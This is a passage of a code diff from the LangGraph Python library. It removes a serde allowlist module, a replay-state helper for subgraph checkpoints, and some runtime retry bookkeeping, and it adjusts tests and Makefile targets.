entry = {"timestamp": 1773119644012, "level": "ERROR", "message": "boom"}
result = format_log_entry(entry)
assert result == "[2026-03-10 05:14:04] [ERROR] boom"
def test_full_entry_string(self):
entry = {
"timestamp": "2026-03-08T12:00:00Z",
"level": "ERROR",
"message": "boom",
}
assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] [ERROR] boom"
def test_no_level(self):
entry = {"timestamp": "2026-03-08T12:00:00Z", "message": "hello"}
assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] hello"
def test_no_timestamp(self):
entry = {"message": "bare message"}
assert format_log_entry(entry) == "bare message"
def test_empty_entry(self):
assert format_log_entry({}) == ""
class TestLevelFg:
def test_error(self):
assert level_fg("ERROR") == "red"
def test_error_lowercase(self):
assert level_fg("error") == "red"
def test_warning(self):
assert level_fg("WARNING") == "yellow"
def test_info_returns_none(self):
assert level_fg("INFO") is None
def test_empty_returns_none(self):
assert level_fg("") is None
+1 -39
View File
@@ -1,11 +1,6 @@
from unittest.mock import patch
from langgraph_cli.util import (
_extract_deployment_url,
clean_empty_lines,
format_deployments_table,
warn_non_wolfi_distro,
)
from langgraph_cli.util import clean_empty_lines, warn_non_wolfi_distro
def test_clean_empty_lines():
@@ -191,36 +186,3 @@ def test_warn_non_wolfi_distro_does_not_modify_config():
warn_non_wolfi_distro(config_copy)
assert config_copy == original_config # Config should remain unchanged
def test_extract_deployment_url_uses_custom_url():
deployment = {"source_config": {"custom_url": "https://example.com/custom"}}
assert _extract_deployment_url(deployment) == "https://example.com/custom"
def test_extract_deployment_url_defaults_to_dash():
assert _extract_deployment_url({"id": "dep-123"}) == "-"
def test_format_deployments_table():
output = format_deployments_table(
[
{
"id": "dep-123",
"name": "alpha",
"source_config": {"custom_url": "https://alpha.example.com"},
},
{
"id": "dep-456",
"name": "beta",
"url": "https://beta.example.com",
},
]
)
assert "Deployment ID" in output
assert "Deployment Name" in output
assert "Deployment URL" in output
assert "dep-123" in output
assert "alpha" in output
assert "https://alpha.example.com" in output
assert "dep-456" in output
+382 -455
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File diff suppressed because it is too large Load Diff
+4 -4
View File
@@ -87,15 +87,15 @@ integration_tests:
WORKERS ?= auto
XDIST_ARGS := $(if $(WORKERS),-n $(WORKERS) --dist worksteal,)
MAXFAIL ?= 1
MAXFAIL_ARGS = $(if $(MAXFAIL),--maxfail $(MAXFAIL),)
MAXFAIL ?=
MAXFAIL_ARGS := $(if $(MAXFAIL),--maxfail $(MAXFAIL),)
# Add an '-x' if xdist is enabled
XDIST_ARGS := $(if $(WORKERS),-x $(XDIST_ARGS),)
test_watch:
make start-services &&\
make start-dev-server &&\
uv run ptw -- --ff -vv $(XDIST_ARGS) $(MAXFAIL_ARGS) $(TEST); \
uv run ptw . -- --ff -vv $(XDIST_ARGS) $(MAXFAIL_ARGS) $(TEST); \
EXIT_CODE=$$?; \
make stop-services; \
make stop-dev-server; \
@@ -130,7 +130,7 @@ type:
format format_diff:
uv run ruff format $(PYTHON_FILES)
uv run ruff check --fix $(PYTHON_FILES)
uv run ruff check --select I --fix $(PYTHON_FILES)
spell_check:
uv run codespell --toml pyproject.toml
-5
View File
@@ -10,7 +10,6 @@ from bench.fanout_to_subgraph import fanout_to_subgraph, fanout_to_subgraph_sync
from bench.pydantic_state import pydantic_state
from bench.react_agent import react_agent
from bench.sequential import create_sequential
from bench.serde_allowlist import collect_allowlist_large, collect_allowlist_small
from bench.wide_dict import wide_dict
from bench.wide_state import wide_state
from langgraph.graph import StateGraph
@@ -514,7 +513,3 @@ compilation_benchmarks = (
for name, graph in compilation_benchmarks:
r.bench_func(name + "_compilation", compile_graph, graph)
# Serde allowlist collection
r.bench_func("serde_allowlist_small", collect_allowlist_small)
r.bench_func("serde_allowlist_large", collect_allowlist_large)
-81
View File
@@ -1,81 +0,0 @@
from __future__ import annotations
from collections import deque
from dataclasses import dataclass
from enum import Enum
from typing import Annotated
from pydantic import BaseModel
from typing_extensions import NotRequired, TypedDict
from langgraph._internal._serde import collect_allowlist_from_schemas
class Color(Enum):
RED = "red"
BLUE = "blue"
@dataclass
class InnerDataclass:
value: int
class InnerModel(BaseModel):
name: str
class InnerTyped(TypedDict):
payload: InnerDataclass
optional: NotRequired[InnerModel]
@dataclass
class Node:
value: int
child: Node | None = None
@dataclass
class NestedDataclass:
inner: InnerDataclass
items: list[InnerModel]
mapping: dict[str, InnerDataclass]
optional: InnerModel | None
union: InnerDataclass | InnerModel
queue: deque[InnerDataclass]
frozen: frozenset[InnerModel]
AnnotatedList = Annotated[list[InnerDataclass], "meta"]
class DummyChannel:
@property
def ValueType(self) -> type[InnerDataclass]:
return InnerDataclass
@property
def UpdateType(self) -> type[InnerModel]:
return InnerModel
SCHEMAS_SMALL = [InnerDataclass, InnerModel, Color]
SCHEMAS_LARGE = [
InnerDataclass,
InnerModel,
Color,
InnerTyped,
Node,
NestedDataclass,
AnnotatedList,
]
CHANNELS = {"a": DummyChannel(), "b": DummyChannel()}
def collect_allowlist_small() -> None:
collect_allowlist_from_schemas(schemas=SCHEMAS_SMALL, channels=CHANNELS)
def collect_allowlist_large() -> None:
collect_allowlist_from_schemas(schemas=SCHEMAS_LARGE, channels=CHANNELS)
@@ -41,9 +41,6 @@ CONFIG_KEY_CACHE = sys.intern("__pregel_cache")
# holds a `BaseCache` made available to subgraphs
CONFIG_KEY_RESUMING = sys.intern("__pregel_resuming")
# holds a boolean indicating if subgraphs should resume from a previous checkpoint
CONFIG_KEY_REPLAY_STATE = sys.intern("__pregel_replay_state")
# holds a ReplayState tracking the parent checkpoint_id upper bound and which
# subgraph namespaces have already loaded their pre-replay checkpoint
CONFIG_KEY_TASK_ID = sys.intern("__pregel_task_id")
# holds the task ID for the current task
CONFIG_KEY_THREAD_ID = sys.intern("thread_id")
@@ -101,7 +98,6 @@ RESERVED = {
CONFIG_KEY_STREAM,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_REPLAY_STATE,
CONFIG_KEY_TASK_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_ID,
@@ -1,90 +0,0 @@
"""Replay state for subgraph checkpoint loading during time-travel."""
from __future__ import annotations
from typing import TYPE_CHECKING
from langgraph._internal._constants import NS_END
if TYPE_CHECKING:
from langchain_core.runnables import RunnableConfig
from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointTuple
class ReplayState:
"""Tracks which subgraphs have already loaded their pre-replay checkpoint.
During a parent replay, each subgraph's first invocation should restore the
checkpoint from before the replay point. Subsequent invocations of the same
subgraph (e.g. in a loop) should use normal checkpoint loading so they pick
up freshly created checkpoints.
The single `ReplayState` instance is shared by reference across all derived
configs within one parent execution.
"""
__slots__ = ("checkpoint_id", "_visited_ns")
def __init__(self, checkpoint_id: str) -> None:
self.checkpoint_id = checkpoint_id
# DO NOT CHANGE THIS VARIABLE it may need to be rehydrated
# in other runtimes
self._visited_ns: set[str] = set()
def _is_first_visit(self, checkpoint_ns: str) -> bool:
"""Return True the first time a subgraph namespace is seen.
The task-id suffix is stripped so that the same logical subgraph
(e.g. ``"sub_node"``) is recognized across loop iterations even
though each iteration has a different task id.
"""
# "sub_node:task_id" -> "sub_node"
stable_ns = (
checkpoint_ns.rsplit(NS_END, 1)[0]
if NS_END in checkpoint_ns
else checkpoint_ns
)
if stable_ns in self._visited_ns:
return False
self._visited_ns.add(stable_ns)
return True
def get_checkpoint(
self,
checkpoint_ns: str,
checkpointer: BaseCheckpointSaver,
checkpoint_config: RunnableConfig,
) -> CheckpointTuple | None:
"""Load the right checkpoint for a subgraph during replay.
On the first call for a given subgraph namespace, returns the latest
checkpoint created *before* the replay point. On subsequent calls
(e.g. the same subgraph in a later loop iteration), falls back to
normal latest-checkpoint loading.
"""
if self._is_first_visit(checkpoint_ns):
for saved in checkpointer.list(
checkpoint_config,
before={"configurable": {"checkpoint_id": self.checkpoint_id}},
limit=1,
):
return saved
return None
return checkpointer.get_tuple(checkpoint_config)
async def aget_checkpoint(
self,
checkpoint_ns: str,
checkpointer: BaseCheckpointSaver,
checkpoint_config: RunnableConfig,
) -> CheckpointTuple | None:
"""Async version of `get_checkpoint`."""
if self._is_first_visit(checkpoint_ns):
async for saved in checkpointer.alist(
checkpoint_config,
before={"configurable": {"checkpoint_id": self.checkpoint_id}},
limit=1,
):
return saved
return None
return await checkpointer.aget_tuple(checkpoint_config)
@@ -1,253 +0,0 @@
from __future__ import annotations
import dataclasses
import logging
import sys
import types
from collections import deque
from enum import Enum
from typing import (
Annotated,
Any,
Literal,
Union,
get_args,
get_origin,
get_type_hints,
)
from langchain_core import messages as lc_messages
from langgraph.checkpoint.base import BaseCheckpointSaver
from pydantic import BaseModel
from typing_extensions import NotRequired, Required, is_typeddict
try:
from langgraph.checkpoint.serde._msgpack import ( # noqa: F401
STRICT_MSGPACK_ENABLED,
)
except ImportError:
STRICT_MSGPACK_ENABLED = False
_warned_allowlist_unsupported = False
logger = logging.getLogger(__name__)
def _supports_checkpointer_allowlist() -> bool:
return hasattr(BaseCheckpointSaver, "with_allowlist")
_SUPPORTS_ALLOWLIST = _supports_checkpointer_allowlist()
def apply_checkpointer_allowlist(
checkpointer: Any, allowlist: set[tuple[str, ...]] | None
) -> Any:
if not checkpointer or allowlist is None or checkpointer in (True, False):
return checkpointer
if not _SUPPORTS_ALLOWLIST:
global _warned_allowlist_unsupported
if not _warned_allowlist_unsupported:
logger.warning(
"Checkpointer does not support with_allowlist; strict msgpack "
"allowlist will be skipped."
)
_warned_allowlist_unsupported = True
return checkpointer
return checkpointer.with_allowlist(allowlist)
def curated_core_allowlist() -> set[tuple[str, ...]]:
allowlist: set[tuple[str, ...]] = set()
for name in (
"BaseMessage",
"BaseMessageChunk",
"HumanMessage",
"HumanMessageChunk",
"AIMessage",
"AIMessageChunk",
"SystemMessage",
"SystemMessageChunk",
"ChatMessage",
"ChatMessageChunk",
"ToolMessage",
"ToolMessageChunk",
"FunctionMessage",
"FunctionMessageChunk",
"RemoveMessage",
):
cls = getattr(lc_messages, name, None)
if cls is None:
continue
allowlist.add((cls.__module__, cls.__name__))
return allowlist
def build_serde_allowlist(
*,
schemas: list[type[Any]] | None = None,
channels: dict[str, Any] | None = None,
) -> set[tuple[str, ...]]:
allowlist = curated_core_allowlist()
if schemas:
schemas = [schema for schema in schemas if schema is not None]
return allowlist | collect_allowlist_from_schemas(
schemas=schemas,
channels=channels,
)
def collect_allowlist_from_schemas(
*,
schemas: list[type[Any]] | None = None,
channels: dict[str, Any] | None = None,
) -> set[tuple[str, ...]]:
allowlist: set[tuple[str, ...]] = set()
seen: set[Any] = set()
seen_ids: set[int] = set()
if schemas:
for schema in schemas:
_collect_from_type(schema, allowlist, seen, seen_ids)
if channels:
for channel in channels.values():
value_type = getattr(channel, "ValueType", None)
if value_type is not None:
_collect_from_type(value_type, allowlist, seen, seen_ids)
update_type = getattr(channel, "UpdateType", None)
if update_type is not None:
_collect_from_type(update_type, allowlist, seen, seen_ids)
return allowlist
def _collect_from_type(
typ: Any,
allowlist: set[tuple[str, ...]],
seen: set[Any],
seen_ids: set[int],
) -> None:
if _already_seen(typ, seen, seen_ids):
return
if typ is Any or typ is None:
return
if typ is Literal:
return
if isinstance(typ, types.UnionType):
for arg in typ.__args__:
_collect_from_type(arg, allowlist, seen, seen_ids)
return
origin = get_origin(typ)
if origin is Union:
for arg in get_args(typ):
_collect_from_type(arg, allowlist, seen, seen_ids)
return
if origin is Annotated or origin in (Required, NotRequired):
args = get_args(typ)
if args:
_collect_from_type(args[0], allowlist, seen, seen_ids)
return
if origin is Literal:
return
if origin in (list, set, tuple, dict, deque, frozenset):
for arg in get_args(typ):
_collect_from_type(arg, allowlist, seen, seen_ids)
return
if hasattr(typ, "__supertype__"):
_collect_from_type(typ.__supertype__, allowlist, seen, seen_ids)
return
if is_typeddict(typ):
for field_type in _safe_get_type_hints(typ).values():
_collect_from_type(field_type, allowlist, seen, seen_ids)
return
if _is_pydantic_model(typ):
allowlist.add((typ.__module__, typ.__name__))
field_types = _safe_get_type_hints(typ)
if field_types:
for field_type in field_types.values():
_collect_from_type(field_type, allowlist, seen, seen_ids)
else:
for field_type in _pydantic_field_types(typ):
_collect_from_type(field_type, allowlist, seen, seen_ids)
return
if dataclasses.is_dataclass(typ):
if typ_name := getattr(typ, "__name__", None):
allowlist.add((typ.__module__, typ_name))
field_types = _safe_get_type_hints(typ)
if field_types:
for field_type in field_types.values():
_collect_from_type(field_type, allowlist, seen, seen_ids)
else:
for field in dataclasses.fields(typ):
_collect_from_type(field.type, allowlist, seen, seen_ids)
return
if isinstance(typ, type) and issubclass(typ, Enum):
allowlist.add((typ.__module__, typ.__name__))
return
def _already_seen(typ: Any, seen: set[Any], seen_ids: set[int]) -> bool:
try:
if typ in seen:
return True
seen.add(typ)
return False
except TypeError:
typ_id = id(typ)
if typ_id in seen_ids:
return True
seen_ids.add(typ_id)
return False
def _safe_get_type_hints(typ: Any) -> dict[str, Any]:
try:
module = sys.modules.get(getattr(typ, "__module__", ""))
globalns = module.__dict__ if module else None
localns = dict(vars(typ)) if hasattr(typ, "__dict__") else None
return get_type_hints(
typ, globalns=globalns, localns=localns, include_extras=True
)
except Exception:
return {}
def _is_pydantic_model(typ: Any) -> bool:
if not isinstance(typ, type):
return False
if issubclass(typ, BaseModel):
return True
try:
from pydantic.v1 import BaseModel as BaseModelV1
except Exception:
return False
return issubclass(typ, BaseModelV1)
def _pydantic_field_types(typ: type[Any]) -> list[Any]:
if hasattr(typ, "model_fields"):
return [
field.annotation
for field in typ.model_fields.values()
if getattr(field, "annotation", None) is not None
]
if hasattr(typ, "__fields__"):
return [
field.outer_type_
for field in typ.__fields__.values()
if getattr(field, "outer_type_", None) is not None
]
return []
+2 -14
View File
@@ -20,7 +20,6 @@ from langgraph.checkpoint.base import BaseCheckpointSaver
from langgraph.store.base import BaseStore
from typing_extensions import Unpack
from langgraph._internal import _serde
from langgraph._internal._constants import CACHE_NS_WRITES, PREVIOUS
from langgraph._internal._typing import MISSING, DeprecatedKwargs
from langgraph.channels.ephemeral_value import EphemeralValue
@@ -529,7 +528,7 @@ class entrypoint(Generic[ContextT]):
else:
output_type = save_type = sig.return_annotation
graph: Pregel[Any, ContextT, Any, Any] = Pregel(
return Pregel(
nodes={
func.__name__: PregelNode(
bound=bound,
@@ -560,16 +559,5 @@ class entrypoint(Generic[ContextT]):
cache=self.cache,
cache_policy=self.cache_policy,
retry_policy=self.retry_policy or (),
context_schema=self.context_schema,
context_schema=self.context_schema, # type: ignore[arg-type]
)
if _serde.STRICT_MSGPACK_ENABLED:
serde_allowlist = _serde.build_serde_allowlist(
schemas=[input_type, output_type, save_type]
+ ([self.context_schema] if self.context_schema is not None else []),
channels=graph.channels,
)
graph._serde_allowlist = serde_allowlist
graph.checkpointer = _serde.apply_checkpointer_allowlist(
graph.checkpointer, serde_allowlist
)
return graph
+4 -49
View File
@@ -6,7 +6,6 @@ import typing
import warnings
from collections import defaultdict
from collections.abc import Awaitable, Callable, Hashable, Sequence
from dataclasses import is_dataclass
from functools import partial
from inspect import isclass, isfunction, ismethod, signature
from types import FunctionType
@@ -15,7 +14,6 @@ from typing import (
Any,
Generic,
Literal,
TypeVar,
Union,
cast,
get_args,
@@ -31,7 +29,6 @@ from langgraph.store.base import BaseStore
from pydantic import BaseModel, TypeAdapter
from typing_extensions import NotRequired, Required, Self, Unpack, is_typeddict
from langgraph._internal import _serde
from langgraph._internal._constants import (
INTERRUPT,
NS_END,
@@ -1082,28 +1079,6 @@ class StateGraph(Generic[StateT, ContextT, InputT, OutputT]):
CompiledStateGraph: The compiled `StateGraph`.
"""
checkpointer = ensure_valid_checkpointer(checkpointer)
serde_allowlist: set[tuple[str, ...]] | None = None
if _serde.STRICT_MSGPACK_ENABLED:
schema_types: list[type[Any]] = [
self.state_schema,
self.input_schema,
self.output_schema,
]
if self.context_schema is not None:
schema_types.append(self.context_schema)
for node in self.nodes.values():
schema_types.append(node.input_schema)
for branches in self.branches.values():
for branch in branches.values():
if branch.input_schema is not None:
schema_types.append(branch.input_schema)
serde_allowlist = _serde.build_serde_allowlist(
schemas=schema_types,
channels=self.channels,
)
checkpointer = _serde.apply_checkpointer_allowlist(
checkpointer, serde_allowlist
)
# assign default values
interrupt_before = interrupt_before or []
@@ -1160,26 +1135,11 @@ class StateGraph(Generic[StateT, ContextT, InputT, OutputT]):
cache=cache,
name=name or "LangGraph",
)
compiled._serde_allowlist = serde_allowlist
compiled.attach_node(START, None)
for key, node in self.nodes.items():
compiled.attach_node(key, node)
# Record output/state mappers for v2 stream coercion (pydantic/dataclass only)
compiled._output_mapper = _pick_mapper(
list(output_channels)
if isinstance(output_channels, list)
else [output_channels],
self.output_schema,
)
compiled._state_mapper = _pick_mapper(
list(stream_channels)
if isinstance(stream_channels, list)
else [stream_channels],
self.state_schema,
)
for start, end in self.edges:
compiled.attach_edge(start, end)
@@ -1199,8 +1159,6 @@ class CompiledStateGraph(
):
builder: StateGraph[StateT, ContextT, InputT, OutputT]
schema_to_mapper: dict[type[Any], Callable[[Any], Any] | None]
_output_mapper: Callable[[Any], Any] | None
_state_mapper: Callable[[Any], Any] | None
def __init__(
self,
@@ -1522,15 +1480,12 @@ def _pick_mapper(
) -> Callable[[Any], Any] | None:
if state_keys == ["__root__"]:
return None
if isclass(schema) and (issubclass(schema, BaseModel) or is_dataclass(schema)):
return partial(_coerce_state, schema)
return None
if isclass(schema) and issubclass(schema, dict):
return None
return partial(_coerce_state, schema)
_S = TypeVar("_S")
def _coerce_state(schema: type[_S], input: dict[str, Any]) -> _S:
def _coerce_state(schema: type[Any], input: dict[str, Any]) -> dict[str, Any]:
return schema(**input)
+21 -116
View File
@@ -42,7 +42,6 @@ from langgraph._internal._constants import (
CONFIG_KEY_CHECKPOINT_ID,
CONFIG_KEY_CHECKPOINT_MAP,
CONFIG_KEY_CHECKPOINT_NS,
CONFIG_KEY_REPLAY_STATE,
CONFIG_KEY_RESUME_MAP,
CONFIG_KEY_RESUMING,
CONFIG_KEY_SCRATCHPAD,
@@ -59,7 +58,6 @@ from langgraph._internal._constants import (
RESUME,
TASKS,
)
from langgraph._internal._replay import ReplayState
from langgraph._internal._scratchpad import PregelScratchpad
from langgraph._internal._typing import EMPTY_SEQ, MISSING
from langgraph.channels.base import BaseChannel
@@ -154,7 +152,7 @@ class PregelLoop:
input_keys: str | Sequence[str]
output_keys: str | Sequence[str]
stream_keys: str | Sequence[str]
is_replaying: bool
skip_done_tasks: bool
is_nested: bool
manager: None | AsyncParentRunManager | ParentRunManager
interrupt_after: All | Sequence[str]
@@ -246,7 +244,7 @@ class PregelLoop:
self.interrupt_before = interrupt_before
self.manager = manager
self.is_nested = CONFIG_KEY_TASK_ID in self.config.get(CONF, {})
self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF]
self.skip_done_tasks = CONFIG_KEY_CHECKPOINT_ID not in config[CONF]
self._migrate_checkpoint = migrate_checkpoint
self.trigger_to_nodes = trigger_to_nodes
self.retry_policy = retry_policy
@@ -453,7 +451,7 @@ class PregelLoop:
# save the new task
self.tasks[pushed.id] = pushed
# match any pending writes to the new task
if not self.is_replaying:
if self.skip_done_tasks:
self._match_writes({pushed.id: pushed})
# return the new task, to be started if not run before
return pushed
@@ -517,7 +515,7 @@ class PregelLoop:
return False
# if there are pending writes from a previous loop, apply them
if not self.is_replaying and self.checkpoint_pending_writes:
if self.skip_done_tasks and self.checkpoint_pending_writes:
self._match_writes(self.tasks)
# before execution, check if we should interrupt
@@ -559,8 +557,8 @@ class PregelLoop:
)
# clear pending writes
self.checkpoint_pending_writes.clear()
# only replay (re-execute) done tasks on the first tick
self.is_replaying = False
# "not skip_done_tasks" only applies to first tick after resuming
self.skip_done_tasks = True
# save checkpoint
self._put_checkpoint({"source": "loop"})
# after execution, check if we should interrupt
@@ -620,21 +618,15 @@ class PregelLoop:
def _first(
self, *, input_keys: str | Sequence[str], updated_channels: set[str] | None
) -> set[str] | None:
# Resuming from a previous checkpoint requires two things:
# 1. A prior checkpoint exists (channel_versions is non-empty)
# 2. The input signals continuation (not a fresh run with new input)
# For subgraphs, the parent explicitly sets CONFIG_KEY_RESUMING.
# For the outer graph, we infer from the input:
# - None input: resume after interrupt (invoke(None, config))
# - Command input: any Command operates on existing state
# - Same run_id: re-entry into an ongoing run (e.g. stream reconnect)
# resuming from previous checkpoint requires
# - finding a previous checkpoint
# - receiving None input (outer graph) or RESUMING flag (subgraph)
configurable = self.config.get(CONF, {})
input_is_command = isinstance(self.input, Command)
is_resuming = bool(self.checkpoint["channel_versions"]) and bool(
configurable.get(
CONFIG_KEY_RESUMING,
self.input is None
or input_is_command
or isinstance(self.input, Command)
or (
not self.is_nested
and self.config.get("metadata", {}).get("run_id")
@@ -643,36 +635,9 @@ class PregelLoop:
)
)
# When replaying from a specific checkpoint, drop cached RESUME
# writes so that interrupt() calls re-fire instead of returning
# stale values. But if we're actively resuming, keep them —
# multi-interrupt scenarios need previously resolved values preserved.
if self.is_replaying and (
# Time-travel to a subgraph checkpoint: the parent sets
# RESUMING=True (it can't distinguish time-travel from resume),
# so we check if this subgraph's own ns is in checkpoint_map.
# Normally the map only has ancestor entries (_algo.py); the
# subgraph's own entry only appears via get_state(subgraphs=True).
(
self.is_nested
and configurable.get(CONFIG_KEY_CHECKPOINT_NS, "")
in configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {})
)
or not (
# Outer graph: resume arrives as Command(resume=...)
(input_is_command and cast(Command, self.input).resume is not None)
# Subgraphs: resume arrives via config flag from parent
# (subgraph input is a Send arg, not a Command)
or configurable.get(CONFIG_KEY_RESUMING, False)
)
):
self.checkpoint_pending_writes = [
w for w in self.checkpoint_pending_writes if w[1] != RESUME
]
# map command to writes
if input_is_command:
if (resume := cast(Command, self.input).resume) is not None:
if isinstance(self.input, Command):
if (resume := self.input.resume) is not None:
if not self.checkpointer:
raise RuntimeError(
"Cannot use Command(resume=...) without checkpointer"
@@ -692,7 +657,7 @@ class PregelLoop:
writes: defaultdict[str, list[tuple[str, Any]]] = defaultdict(list)
# group writes by task ID
for tid, c, v in map_command(cmd=cast(Command, self.input)):
for tid, c, v in map_command(cmd=self.input):
if not (c == RESUME and resume_is_map):
writes[tid].append((c, v))
if not writes and not resume_is_map:
@@ -758,30 +723,10 @@ class PregelLoop:
self._put_checkpoint({"source": "input"})
elif CONFIG_KEY_RESUMING not in configurable:
raise EmptyInputError(f"Received no input for {input_keys}")
# Propagate resuming and replaying flags to subgraphs.
# update config
if not self.is_nested:
# Pass the resolved before-bound checkpoint ID so subgraphs can
# find their corresponding checkpoint without re-fetching the
# parent. For forks (source=update), use the fork's parent
# checkpoint ID since the fork was created after the subgraph's
# checkpoints from the original execution.
replay_state: ReplayState | None = None
if self.is_replaying:
replay_checkpoint_id = self.checkpoint["id"]
if (
self.checkpoint_metadata.get("source") == "update"
and self.prev_checkpoint_config
):
replay_checkpoint_id = self.prev_checkpoint_config[CONF].get(
CONFIG_KEY_CHECKPOINT_ID, replay_checkpoint_id
)
replay_state = ReplayState(replay_checkpoint_id)
self.config = patch_configurable(
self.config,
{
CONFIG_KEY_RESUMING: is_resuming,
CONFIG_KEY_REPLAY_STATE: replay_state,
},
self.config, {CONFIG_KEY_RESUMING: is_resuming}
)
# set flag
self.status = "pending"
@@ -1136,31 +1081,10 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
# context manager
def __enter__(self) -> Self:
if not self.checkpointer:
saved = None
elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
# Explicit checkpoint_id requested — fetch that exact checkpoint.
# This covers both normal replay and subgraphs resolved via
# checkpoint_map during time-travel.
if self.checkpointer:
saved = self.checkpointer.get_tuple(self.checkpoint_config)
elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
# Subgraph replay: the parent is replaying and passed us a
# replay_state with its checkpoint_id. Look up our checkpoint
# from the parent's checkpoint_map instead of fetching latest.
saved = replay_state.get_checkpoint(
self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
self.checkpointer,
self.checkpoint_config,
)
# Clear RESUMING so _first re-applies input instead of resuming.
# This recreates ephemeral routing channels so nodes trigger
# naturally via version comparison.
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. Returns None on first invocation.
saved = self.checkpointer.get_tuple(self.checkpoint_config)
saved = None
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1185,6 +1109,7 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
if saved.pending_writes is not None
else []
)
self.submit = self.stack.enter_context(BackgroundExecutor(self.config))
self.channels, self.managed = channels_from_checkpoint(
self.specs, self.checkpoint
@@ -1335,31 +1260,10 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
# context manager
async def __aenter__(self) -> Self:
if not self.checkpointer:
saved = None
elif self.checkpoint_config[CONF].get(CONFIG_KEY_CHECKPOINT_ID):
# Explicit checkpoint_id requested — fetch that exact checkpoint.
# This covers both normal replay and subgraphs resolved via
# checkpoint_map during time-travel.
if self.checkpointer:
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
elif replay_state := self.config[CONF].get(CONFIG_KEY_REPLAY_STATE):
# Subgraph replay: the parent is replaying and passed us a
# replay_state with its checkpoint_id. Look up our checkpoint
# from the parent's checkpoint_map instead of fetching latest.
saved = await replay_state.aget_checkpoint(
self.config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, ""),
self.checkpointer,
self.checkpoint_config,
)
# Clear RESUMING so _first re-applies input instead of resuming.
# This recreates ephemeral routing channels so nodes trigger
# naturally via version comparison.
self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
else:
# Normal case: fetch the most recent checkpoint for this
# graph/thread. Returns None on first invocation.
saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
saved = None
if saved is None:
saved = CheckpointTuple(
self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1384,6 +1288,7 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
if saved.pending_writes is not None
else []
)
self.submit = await self.stack.enter_async_context(
AsyncBackgroundExecutor(self.config)
)
+14 -84
View File
@@ -14,46 +14,15 @@ from langgraph._internal._constants import (
CONF,
CONFIG_KEY_CHECKPOINT_NS,
CONFIG_KEY_RESUMING,
CONFIG_KEY_RUNTIME,
NS_SEP,
)
from langgraph.errors import GraphBubbleUp, ParentCommand
from langgraph.runtime import Runtime
from langgraph.types import Command, PregelExecutableTask, RetryPolicy
logger = logging.getLogger(__name__)
SUPPORTS_EXC_NOTES = sys.version_info >= (3, 11)
def _checkpoint_ns_for_parent_command(ns: str) -> str:
"""Return the checkpoint namespace for the parent graph.
The checkpoint namespace is a `|`-separated path. Each segment is usually
of the form `name:task_id` (e.g. `parent_first:<uuid>|node:<uuid>`), but the
runtime may also insert a purely-numeric segment (e.g. `|1`) to disambiguate
concurrent tasks (e.g. `parent_first:<uuid>|1|node:<uuid>`).
Numeric segments are not real path levels, so we drop them before computing
the parent namespace.
"""
parts = ns.split(NS_SEP)
# Drop any trailing numeric selectors for the current frame (e.g. `...|node:<id>|1`).
while parts and parts[-1].isdigit():
parts.pop()
# Drop the current frame segment itself (e.g. the `node:<id>`).
if parts:
parts.pop()
# Drop any trailing numeric selectors for the parent frame (e.g. `...|1|node:<id>`).
while parts and parts[-1].isdigit():
parts.pop()
return NS_SEP.join(parts)
def run_with_retry(
task: PregelExecutableTask,
retry_policy: Sequence[RetryPolicy] | None,
@@ -62,33 +31,10 @@ def run_with_retry(
"""Run a task with retries."""
retry_policy = task.retry_policy or retry_policy
attempts = 0
node_first_attempt_time = time.time()
config = task.config
if configurable is not None:
config = patch_configurable(config, configurable)
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
node_first_attempt_time=node_first_attempt_time,
)
},
)
while True:
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
# node_attempt is execution count (1-indexed): 1 on first run,
# then 2, 3, ... on subsequent retries.
node_attempt=attempts + 1,
)
},
)
try:
# clear any writes from previous attempts
task.writes.clear()
@@ -104,8 +50,12 @@ def run_with_retry(
w.invoke(cmd, config)
break
elif cmd.graph == Command.PARENT:
# this command is for the parent graph, assign it to the parent.
exc.args = (replace(cmd, graph=_checkpoint_ns_for_parent_command(ns)),)
# this command is for the parent graph, assign it to the parent
parts = ns.split(NS_SEP)
if parts[-1].isdigit():
parts.pop()
parent_ns = NS_SEP.join(parts[:-1])
exc.args = (replace(cmd, graph=parent_ns),)
# bubble up
raise
except GraphBubbleUp:
@@ -127,7 +77,7 @@ def run_with_retry(
if not matching_policy:
raise
# attempts tracks failed tries only; it increments after a failure.
# increment attempts
attempts += 1
# check if we should give up
if attempts >= matching_policy.max_attempts:
@@ -166,38 +116,15 @@ async def arun_with_retry(
"""Run a task asynchronously with retries."""
retry_policy = task.retry_policy or retry_policy
attempts = 0
node_first_attempt_time = time.time()
config = task.config
if configurable is not None:
config = patch_configurable(config, configurable)
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
node_first_attempt_time=node_first_attempt_time,
)
},
)
if match_cached_writes is not None and task.cache_key is not None:
